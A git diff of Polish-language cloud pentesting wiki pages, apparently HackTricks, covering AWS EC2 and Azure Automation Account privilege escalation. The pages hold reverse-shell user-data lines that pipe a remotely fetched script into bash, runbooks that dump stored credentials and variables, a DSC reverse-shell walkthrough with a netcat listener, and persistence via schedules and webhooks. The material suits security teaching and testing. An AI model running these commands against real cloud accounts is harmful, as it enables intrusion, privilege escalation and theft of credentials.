diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 42681ba62..c39a9cc91 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -406,8 +406,7 @@ - [Az - ACR](pentesting-cloud/azure-security/az-services/az-acr.md) - [Az - Application Proxy](pentesting-cloud/azure-security/az-services/az-application-proxy.md) - [Az - ARM Templates / Deployments](pentesting-cloud/azure-security/az-services/az-arm-templates.md) - - [Az - Automation Account](pentesting-cloud/azure-security/az-services/az-automation-account/README.md) - - [Az - State Configuration RCE](pentesting-cloud/azure-security/az-services/az-automation-account/az-state-configuration-rce.md) + - [Az - Automation Accounts](pentesting-cloud/azure-security/az-services/az-automation-accounts.md) - [Az - Azure App Services](pentesting-cloud/azure-security/az-services/az-app-services.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) @@ -454,6 +453,7 @@ - [Az - Privilege Escalation](pentesting-cloud/azure-security/az-privilege-escalation/README.md) - [Az - Azure IAM Privesc (Authorization)](pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md) - [Az - App Services Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-app-services-privesc.md) + - [Az - Automation Accounts Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md) - [Az - EntraID Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md) - [Az - Conditional Access Policies & MFA Bypass](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md) - [Az - Dynamic Groups Privesc](pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/dynamic-groups.md) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md index 4340e5bea..d61fbf48c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc.md @@ -24,7 +24,7 @@ aws ec2 run-instances --image-id --instance-type t2.micro \ ``` - **Dostęp przez rev shell w danych użytkownika** -Możesz uruchomić nową instancję, używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń. +Możesz uruchomić nową instancję używając **danych użytkownika** (`--user-data`), które wyślą ci **rev shell**. Nie musisz w ten sposób określać grupy zabezpieczeń. ```bash echo '#!/bin/bash curl https://reverse-shell.sh/4.tcp.ngrok.io:17031 | bash' > /tmp/rev.sh @@ -44,7 +44,7 @@ Uważaj na GuradDuty, jeśli używasz poświadczeń roli IAM poza instancją: #### Privesc do ECS -Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS **będą uruchamiane** w **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**. +Z tym zestawem uprawnień możesz również **utworzyć instancję EC2 i zarejestrować ją w klastrze ECS**. W ten sposób usługi ECS **będą** **uruchamiane** w **instancji EC2**, do której masz dostęp, a następnie możesz przeniknąć te usługi (kontenery dockerowe) i **ukraść ich przypisane role ECS**. ```bash aws ec2 run-instances \ --image-id ami-07fde2ae86109a2af \ @@ -82,7 +82,7 @@ aws iam add-role-to-instance-profile --instance-profile-name --role-name ``` Jeśli **profil instancji ma rolę** i atakujący **nie może jej usunąć**, istnieje inne obejście. Może **znaleźć** **profil instancji bez roli** lub **utworzyć nowy** (`iam:CreateInstanceProfile`), **dodać** **rolę** do tego **profilu instancji** (jak wcześniej omówiono) i **przypisać profil instancji** do skompromitowanej i**nstancji:** -- Jeśli instancja **nie ma żadnego profilu** instancji (`ec2:AssociateIamInstanceProfile`) \* +- Jeśli instancja **nie ma żadnego profilu** instancji (`ec2:AssociateIamInstanceProfile`) ```bash aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` @@ -90,21 +90,19 @@ aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --ins ### **`iam:PassRole`((** `ec2:AssociateIamInstanceProfile`& `ec2:DisassociateIamInstanceProfile`) || `ec2:ReplaceIamInstanceProfileAssociation`) -Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji powiązanego z instancją, więc jeśli atakujący miał już dostęp do instancji, będzie mógł ukraść poświadczenia dla większej liczby ról profilu instancji, zmieniając ten, który jest z nią powiązany. +Dzięki tym uprawnieniom możliwe jest zmienienie profilu instancji powiązanego z instancją, więc jeśli atak miał już dostęp do instancji, będzie mógł ukraść poświadczenia dla większej liczby ról profilu instancji, zmieniając ten, który jest z nią powiązany. -- Jeśli **ma profil instancji**, możesz **usunąć** profil instancji (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go \* +- Jeśli **ma profil instancji**, możesz **usunąć** profil instancji (`ec2:DisassociateIamInstanceProfile`) i **powiązać** go. ```bash aws ec2 describe-iam-instance-profile-associations --filters Name=instance-id,Values=i-0d36d47ba15d7b4da aws ec2 disassociate-iam-instance-profile --association-id aws ec2 associate-iam-instance-profile --iam-instance-profile Name= --instance-id ``` -- lub **zamień** **profil instancji** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`). \* -```` +- lub **zamień** **profil instancji** skompromitowanej instancji (`ec2:ReplaceIamInstanceProfileAssociation`). ```bash aws ec2 replace-iam-instance-profile-association --iam-instance-profile Name= --association-id ``` -```` -**Potencjalny wpływ:** Bezpośrednie privesc do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji). +**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do innej roli EC2 (musisz mieć skompromitowaną instancję AWS EC2 oraz dodatkowe uprawnienia lub specyficzny status profilu instancji). ### `ec2:RequestSpotInstances`,`iam:PassRole` @@ -160,11 +158,11 @@ aws ec2 modify-instance-attribute \ aws ec2 start-instances --instance-ids $INSTANCE_ID ``` -**Potencjalny wpływ:** Bezpośrednie privesc do dowolnej roli IAM EC2 przypisanej do utworzonej instancji. +**Potencjalny wpływ:** Bezpośrednie podniesienie uprawnień do dowolnej roli IAM EC2 przypisanej do utworzonej instancji. ### `ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate`,`ec2:ModifyLaunchTemplate` -Atakujący z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem** w **danych użytkownika** i **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell. +Atakujący z uprawnieniami **`ec2:CreateLaunchTemplateVersion`,`ec2:CreateLaunchTemplate` i `ec2:ModifyLaunchTemplate`** może stworzyć **nową wersję szablonu uruchamiania** z **rev shellem** w **danych użytkownika** oraz **dowolną rolą IAM EC2 na nim**, zmienić wersję domyślną, a **dowolna grupa Autoscaler** **korzystająca** z tego **szablonu uruchamiania**, która jest **skonfigurowana** do używania **najświeższej** lub **domyślnej wersji**, **ponownie uruchomi instancje** korzystające z tego szablonu i wykona rev shell. ```bash REV=$(printf '#!/bin/bash curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash @@ -182,7 +180,7 @@ aws ec2 modify-launch-template \ ### `autoscaling:CreateLaunchConfiguration`, `autoscaling:CreateAutoScalingGroup`, `iam:PassRole` -Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchomienia** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**. +Atakujący z uprawnieniami **`autoscaling:CreateLaunchConfiguration`,`autoscaling:CreateAutoScalingGroup`,`iam:PassRole`** może **utworzyć konfigurację uruchamiania** z **rolą IAM** i **rev shellem** w **danych użytkownika**, a następnie **utworzyć grupę autoskalowania** z tej konfiguracji i czekać na rev shell, aby **ukraść rolę IAM**. ```bash aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-launch-configuration \ --launch-configuration-name bad_config \ @@ -202,7 +200,7 @@ aws --profile "$NON_PRIV_PROFILE_USER" autoscaling create-auto-scaling-group \ ### `!autoscaling` -Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym sposobem podnoszenia uprawnień). +Zestaw uprawnień **`ec2:CreateLaunchTemplate`** i **`autoscaling:CreateAutoScalingGroup`** **nie wystarcza do podniesienia** uprawnień do roli IAM, ponieważ aby dołączyć rolę określoną w Konfiguracji Uruchamiania lub w Szablonie Uruchamiania **potrzebujesz uprawnień `iam:PassRole` i `ec2:RunInstances`** (co jest znanym sposobem na podniesienie uprawnień). ### `ec2-instance-connect:SendSSHPublicKey` @@ -217,7 +215,7 @@ aws ec2-instance-connect send-ssh-public-key \ ### `ec2-instance-connect:SendSerialConsoleSSHPublicKey` -Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess, aby go włączyć**. +Atakujący z uprawnieniem **`ec2-instance-connect:SendSerialConsoleSSHPublicKey`** może **dodać klucz ssh do połączenia szeregowego**. Jeśli port szeregowy nie jest włączony, atakujący potrzebuje uprawnienia **`ec2:EnableSerialConsoleAccess`, aby go włączyć**. Aby połączyć się z portem szeregowym, musisz również **znać nazwę użytkownika i hasło użytkownika** wewnątrz maszyny. ```bash @@ -233,11 +231,11 @@ ssh -i /tmp/priv $INSTANCE_ID.port0@serial-console.ec2-instance-connect.eu-west- ``` Ten sposób nie jest zbyt przydatny do privesc, ponieważ musisz znać nazwę użytkownika i hasło, aby go wykorzystać. -**Potencjalny wpływ:** (Bardzo nieudowodniony) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji. +**Potencjalny wpływ:** (Bardzo trudny do udowodnienia) Bezpośredni privesc do ról IAM EC2 przypisanych do działających instancji. ### `describe-launch-templates`,`describe-launch-template-versions` -Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby wykorzystać je do odkrycia wrażliwych informacji, takich jak poświadczenia obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania: +Ponieważ szablony uruchamiania mają wersjonowanie, atakujący z uprawnieniami **`ec2:describe-launch-templates`** i **`ec2:describe-launch-template-versions`** mógłby je wykorzystać do odkrycia wrażliwych informacji, takich jak dane uwierzytelniające obecne w danych użytkownika. Aby to osiągnąć, poniższy skrypt przechodzi przez wszystkie wersje dostępnych szablonów uruchamiania: ```bash for i in $(aws ec2 describe-launch-templates --region us-east-1 | jq -r '.LaunchTemplates[].LaunchTemplateId') do diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md new file mode 100644 index 000000000..87bfc1213 --- /dev/null +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -0,0 +1,239 @@ +# Az - Azure Automation Accounts Privesc + +{{#include ../../../banners/hacktricks-training.md}} + +## Azure Automation Accounts + +Aby uzyskać więcej informacji, sprawdź: + +{{#ref}} +../az-services/az-automation-accounts.md +{{#endref}} + +### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) + +Podsumowując, te uprawnienia pozwalają na **tworzenie, modyfikowanie i uruchamianie Runbooków** w Koncie Automatyzacji, które można wykorzystać do **wykonywania kodu** w kontekście Konta Automatyzacji oraz eskalacji uprawnień do przypisanych **Zarządzanych Tożsamości** i wycieku **poświadczeń** oraz **zaszyfrowanych zmiennych** przechowywanych w Koncie Automatyzacji. + +Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** pozwala na modyfikację kodu Runbooka w Koncie Automatyzacji przy użyciu: +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content '$creds = Get-AutomationPSCredential -Name "" +$runbook_variable = Get-AutomationVariable -Name "" +$runbook_variable +$creds.GetNetworkCredential().username +$creds.GetNetworkCredential().password' +``` +Zauważ, jak poprzedni skrypt może być użyty do **wycieku nazwy użytkownika i hasła** poświadczenia oraz wartości **zaszyfrowanej zmiennej** przechowywanej w Koncie Automatyzacji. + +Uprawnienie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** pozwala użytkownikowi na publikację Runbooka w Koncie Automatyzacji, aby zmiany zostały zastosowane: +```bash +az automation runbook publish \ +--resource-group \ +--automation-account-name \ +--name +``` +Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/write`** pozwala użytkownikowi na uruchomienie Runbooka w Koncie Automatyzacji za pomocą: +```bash +az automation runbook start --automation-account-name --resource-group --name +``` +Uprawnienie **`Microsoft.Automation/automationAccounts/jobs/output/read`** pozwala użytkownikowi na odczytanie wyniku zadania w Koncie Automatyzacji za pomocą: +```bash +az rest --method GET \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" +``` +Jeśli nie ma utworzonych Runbooków, lub chcesz utworzyć nowy, będziesz potrzebować **uprawnień `Microsoft.Resources/subscriptions/resourcegroups/read` oraz `Microsoft.Automation/automationAccounts/runbooks/write`** aby to zrobić za pomocą: +```bash +az automation runbook create --automation-account-name --resource-group --name --type PowerShell +``` +### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` + +To uprawnienie pozwala użytkownikowi na **przypisanie tożsamości zarządzanej przez użytkownika** do Konta Automatyzacji za pomocą: +```bash +az rest --method PATCH \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"identity": { +"type": "UserAssigned", +"userAssignedIdentities": { +"/subscriptions//resourceGroups//providers/Microsoft.ManagedIdentity/userAssignedIdentities/": {} +} +} +}' +``` +### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` + +Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/schedules/write`** możliwe jest utworzenie nowego harmonogramu w koncie automatyzacji, który jest wykonywany co 15 minut (niezbyt dyskretnie) za pomocą następującego polecenia. + +Należy zauważyć, że **minimalny interwał dla harmonogramu wynosi 15 minut**, a **minimalny czas rozpoczęcia to 5 minut** w przyszłości. +```bash +## For linux +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every minute" \ +--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 + +## Form macOS +az automation schedule create \ +--resource-group \ +--automation-account-name \ +--name \ +--description "Triggers runbook every 15 minutes" \ +--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \ +--frequency Minute \ +--interval 15 +``` +Następnie, z uprawnieniem **`Microsoft.Automation/automationAccounts/jobSchedules/write`** możliwe jest przypisanie harmonogramu do runbooka za pomocą: +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ +--headers "Content-Type=application/json" \ +--body '{ +"properties": { +"runOn": "", +"runbook": { +"name": "" +}, +"schedule": { +"name": ">" +}, +"parameters": {} +} +}' +``` +> [!TIP] +> W poprzednim przykładzie identyfikator jobchedule został pozostawiony jako **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` jako przykład**, ale będziesz musiał użyć dowolnej wartości, aby utworzyć to przypisanie. + +### `Microsoft.Automation/automationAccounts/webhooks/write` + +Dzięki uprawnieniu **`Microsoft.Automation/automationAccounts/webhooks/write`** możliwe jest utworzenie nowego Webhooka dla Runbooka w ramach Konta Automatyzacji za pomocą następującego polecenia. + +Zauważ, że będziesz musiał **wskazać URI webhooka** z tokenem do użycia. +```bash +az rest --method PUT \ +--url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//webhooks/?api-version=2018-06-30" \ +--body '{ +"name": "", +"properties": { +"isEnabled": true, +"expiryTime": "2026-01-09T20:03:30.291Z", +"parameters": {}, +"runOn": null, +"runbook": { +"name": "" +}, +"uri": "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" +} +}' + +# Then, to call the runbook using the webhook +curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ +-H "Content-Length: 0" +``` +### `Microsoft.Automation/automationAccounts/runbooks/draft/write` + +Tylko z uprawnieniem `Microsoft.Automation/automationAccounts/runbooks/draft/write` można **aktualizować kod Runbooka** bez jego publikowania i uruchomić go za pomocą następujących poleceń. +```bash +# Update the runbook content with the provided PowerShell script +az automation runbook replace-content --no-wait \ +--resource-group Resource_Group_1 \ +--automation-account-name autoaccount1 \ +--name AzureAutomationTutorialWithIdentity \ +--content 'echo "Hello World"' + +# Run the unpublished code +az rest \ +--method PUT \ +--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \ +--headers "Content-Type=application/json" \ +--body '{ +"parameters": {}, +"runOn": "", +"runtimeEnvironment": "PowerShell-5.1" +}' + +# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission) +az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01" +``` +### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) + +To uprawnienie pozwala użytkownikowi **skonfigurować kontrolę źródła** dla konta automatyzacji za pomocą poleceń takich jak poniższe (używa to Github jako przykład): +```bash +az automation source-control create \ +--resource-group \ +--automation-account-name \ +--name RemoteGithub \ +--repo-url https://github.com/carlospolop/gh-runbooks.git \ +--branch main \ +--folder-path /runbooks/ \ +--publish-runbook true \ +--auto-sync \ +--source-type GitHub \ +--token-type PersonalAccessToken \ +--access-token github_pat_11AEDCVZ +``` +To automatycznie zaimportuje runbooki z repozytorium Github do Konta Automatyzacji, a z innymi uprawnieniami do ich uruchamiania, **możliwe będzie podniesienie uprawnień**. + +Ponadto pamiętaj, że aby kontrola źródłowa działała w Kontach Automatyzacji, musi mieć zarządzaną tożsamość z rolą **`Contributor`**, a jeśli jest to zarządzana tożsamość użytkownika, można to również skonfigurować, ustawiając w zmiennej **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`** **client id** zarządzanej tożsamości użytkownika do użycia. + +> [!TIP] +> Zauważ, że nie można zmienić adresu URL repozytorium źródłowego po jego utworzeniu. + +### Niestandardowe Środowiska Uruchomieniowe + +Jeśli konto automatyzacji korzysta z niestandardowego środowiska uruchomieniowego, może być możliwe nadpisanie niestandardowego pakietu środowiska uruchomieniowego złośliwym kodem (takim jak **backdoor**). W ten sposób, gdy runbook korzystający z tego niestandardowego środowiska jest uruchamiany i ładuje niestandardowy pakiet, złośliwy kod zostanie wykonany. + +### Kompromitacja Konfiguracji Stanu + +**Sprawdź pełny post w:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe) + +- Krok 1 — Utwórz Pliki + +**Wymagane Pliki:** Potrzebne są dwa skrypty PowerShell: +1. `reverse_shell_config.ps1`: Plik Desired State Configuration (DSC), który pobiera i wykonuje ładunek. Można go uzyskać z [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1). +2. `push_reverse_shell_config.ps1`: Skrypt do publikacji konfiguracji na VM, dostępny na [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1). + +**Dostosowanie:** Zmienne i parametry w tych plikach muszą być dostosowane do specyficznego środowiska użytkownika, w tym nazwy zasobów, ścieżki plików oraz identyfikatory serwera/ładunku. + +- Krok 2 — Spakuj Plik Konfiguracji + +Plik `reverse_shell_config.ps1` jest kompresowany do pliku `.zip`, co czyni go gotowym do transferu do Konta Storage Azure. +```powershell +Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip +``` +- Krok 3 — Ustaw kontekst magazynu i przesyłanie + +Zarchiwizowany plik konfiguracyjny jest przesyłany do zdefiniowanego kontenera magazynowego Azure, azure-pentest, za pomocą polecenia Set-AzStorageBlobContent. +```powershell +Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx +``` +- Krok 4 — Przygotowanie Kali Box + +Serwer Kali pobiera ładunek RevPS.ps1 z repozytorium GitHub. +```bash +wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 +``` +Skrypt jest edytowany, aby określić docelową maszynę wirtualną Windows i port dla odwrotnego powłoki. + +- Krok 5 — Publikacja pliku konfiguracyjnego + +Plik konfiguracyjny jest wykonywany, co skutkuje wdrożeniem skryptu odwrotnej powłoki w określonej lokalizacji na maszynie wirtualnej Windows. + +- Krok 6 — Hostowanie ładunku i ustawienie nasłuchiwacza + +Uruchamiany jest Python SimpleHTTPServer, aby hostować ładunek, wraz z nasłuchiwaczem Netcat do przechwytywania przychodzących połączeń. +```bash +sudo python -m SimpleHTTPServer 80 +sudo nc -nlvp 443 +``` +Zadanie zaplanowane wykonuje ładunek, osiągając uprawnienia na poziomie SYSTEM. + +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md b/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md deleted file mode 100644 index 8945622cd..000000000 --- a/src/pentesting-cloud/azure-security/az-services/az-automation-account/README.md +++ /dev/null @@ -1,170 +0,0 @@ -# Az - Automation Account - -{{#include ../../../../banners/hacktricks-training.md}} - -## Podstawowe informacje - -[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation dostarcza opartą na chmurze automatyzację, aktualizacje systemu operacyjnego i usługę konfiguracji, która wspiera spójną administrację w Twoich środowiskach Azure i nie-Azure. Obejmuje automatyzację procesów, zarządzanie konfiguracją, zarządzanie aktualizacjami, wspólne możliwości i heterogeniczne funkcje. - -Są to jak "**zaplanowane zadania**" w Azure, które pozwalają na wykonywanie rzeczy (akcji lub nawet skryptów) w celu **zarządzania**, sprawdzania i konfigurowania **środowiska Azure**. - -### Konto Run As - -Gdy używane jest **Konto Run as**, tworzy aplikację Azure AD z certyfikatem samopodpisanym, tworzy **principal usługi** i przypisuje rolę **Współtwórcy** dla konta w **aktualnej subskrypcji** (wiele uprawnień).\ -Microsoft zaleca użycie **Zarządzanej Tożsamości** dla Konta Automatyzacji. - -> [!WARNING] -> To zostanie **usunięte 30 września 2023 i zmienione na Zarządzane Tożsamości.** - -## Runbooki i zadania - -**Runbooki** pozwalają na **wykonywanie dowolnego kodu PowerShell**. Może to być **nadużyte przez atakującego** w celu kradzieży uprawnień **przypisanego principal** (jeśli istnieje).\ -W **kodzie** **Runbooków** można również znaleźć **wrażliwe informacje** (takie jak dane uwierzytelniające). - -Jeśli możesz **czytać** **zadania**, zrób to, ponieważ **zawierają** **wynik** uruchomienia (potencjalne **wrażliwe informacje**). - -Przejdź do `Automation Accounts` --> `` --> `Runbooks/Zadania/Grupy pracowników hybrydowych/Zadania obserwatora/dane uwierzytelniające/zmienne/certyfikaty/połączenia` - -### Pracownik hybrydowy - -Runbook może być uruchamiany w **kontenerze w Azure** lub w **Pracowniku Hybrydowym** (maszyna nie-Azure).\ -**Agent Log Analytics** jest wdrażany na VM, aby zarejestrować go jako pracownika hybrydowego.\ -Zadania pracownika hybrydowego są uruchamiane jako **SYSTEM** w Windows i jako konto **nxautomation** w Linux.\ -Każdy Pracownik Hybrydowy jest zarejestrowany w **Grupie Pracowników Hybrydowych**. - -Dlatego, jeśli możesz wybrać uruchomienie **Runbooka** w **Windows Hybrid Worker**, wykonasz **dowolne polecenia** wewnątrz zewnętrznej maszyny jako **System** (fajna technika pivotowania). - -## Kompromitacja Konfiguracji Stanu (SC) - -[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **Konstrukcja Stanu** to usługa zarządzania konfiguracją Azure, która pozwala na pisanie, zarządzanie i kompilowanie PowerShell Desired State Configuration (DSC) [konfiguracji](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) dla węzłów w dowolnej chmurze lub w lokalnym centrum danych. Usługa importuje również [Zasoby DSC](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) i przypisuje konfiguracje do docelowych węzłów, wszystko w chmurze. Możesz uzyskać dostęp do Azure Automation State Configuration w portalu Azure, wybierając **Konfiguracja stanu (DSC)** w sekcji **Zarządzanie konfiguracją**. - -**Wrażliwe informacje** mogą być znalezione w tych konfiguracjach. - -### RCE - -Możliwe jest nadużycie SC do uruchamiania dowolnych skryptów na zarządzanych maszynach. - -{{#ref}} -az-state-configuration-rce.md -{{#endref}} - -## Enumeracja -```powershell -# Check user right for automation -az extension add --upgrade -n automation -az automation account list # if it doesn't return anything the user is not a part of an Automation group - -# Gets Azure Automation accounts in a resource group -Get-AzAutomationAccount - -# List & get DSC configs -Get-AzAutomationAccount | Get-AzAutomationDscConfiguration -Get-AzAutomationAccount | Get-AzAutomationDscConfiguration | where {$_.name -match ''} | Export-AzAutomationDscConfiguration -OutputFolder . -Debug -## Automation Accounts named SecurityBaselineConfigurationWS... are there by default (not interesting) - -# List & get Run books code -Get-AzAutomationAccount | Get-AzAutomationRunbook -Get-AzAutomationAccount | Get-AzAutomationRunbook | Export-AzAutomationRunbook -OutputFolder /tmp - -# List credentials & variables & others -Get-AzAutomationAccount | Get-AzAutomationCredential -Get-AzAutomationAccount | Get-AzAutomationVariable -Get-AzAutomationAccount | Get-AzAutomationConnection -Get-AzAutomationAccount | Get-AzAutomationCertificate -Get-AzAutomationAccount | Get-AzAutomationSchedule -Get-AzAutomationAccount | Get-AzAutomationModule -Get-AzAutomationAccount | Get-AzAutomationPython3Package -## Exfiltrate credentials & variables and the other info loading them in a Runbook and printing them - -# List hybrid workers -Get-AzAutomationHybridWorkerGroup -AutomationAccountName -ResourceGroupName -``` -### Utwórz Runbook -```powershell -# Get the role of a user on the Automation account -# Contributor or higher = Can create and execute Runbooks -Get-AzRoleAssignment -Scope /subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/ - -# Create a Powershell Runbook -Import-AzAutomationRunbook -Name -Path C:\Tools\username.ps1 -AutomationAccountName -ResourceGroupName -Type PowerShell -Force -Verbose - -# Publish the Runbook -Publish-AzAutomationRunbook -RunbookName -AutomationAccountName -ResourceGroupName -Verbose - -# Start the Runbook -Start-AzAutomationRunbook -RunbookName -RunOn Workergroup1 -AutomationAccountName -ResourceGroupName -Verbose -``` -### Ekstrahowanie poświadczeń i zmiennych zdefiniowanych w koncie automatyzacji za pomocą Run Book -```powershell -# Change the crdentials & variables names and add as many as you need -@' -$creds = Get-AutomationPSCredential -Name -$runbook_variable = Get-AutomationVariable -name -$runbook_variable -$creds.GetNetworkCredential().username -$creds.GetNetworkCredential().password -'@ | out-file -encoding ascii 'runbook_get_creds.ps1' - -$ResourceGroupName = '' -$AutomationAccountName = '' -$RunBookName = 'Exif-Credentials' #Change this for stealthness - -# Creare Run book, publish, start, and get output -New-AzAutomationRunBook -name $RunBookName -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Type PowerShell -Import-AzAutomationRunBook -Path 'runbook_get_creds.ps1' -Name $RunBookName -Type PowerShell -AutomationAccountName $AutomationAccountName -ResourceGroupName $ResourceGroupName -Force -Publish-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $AutomationAccountName 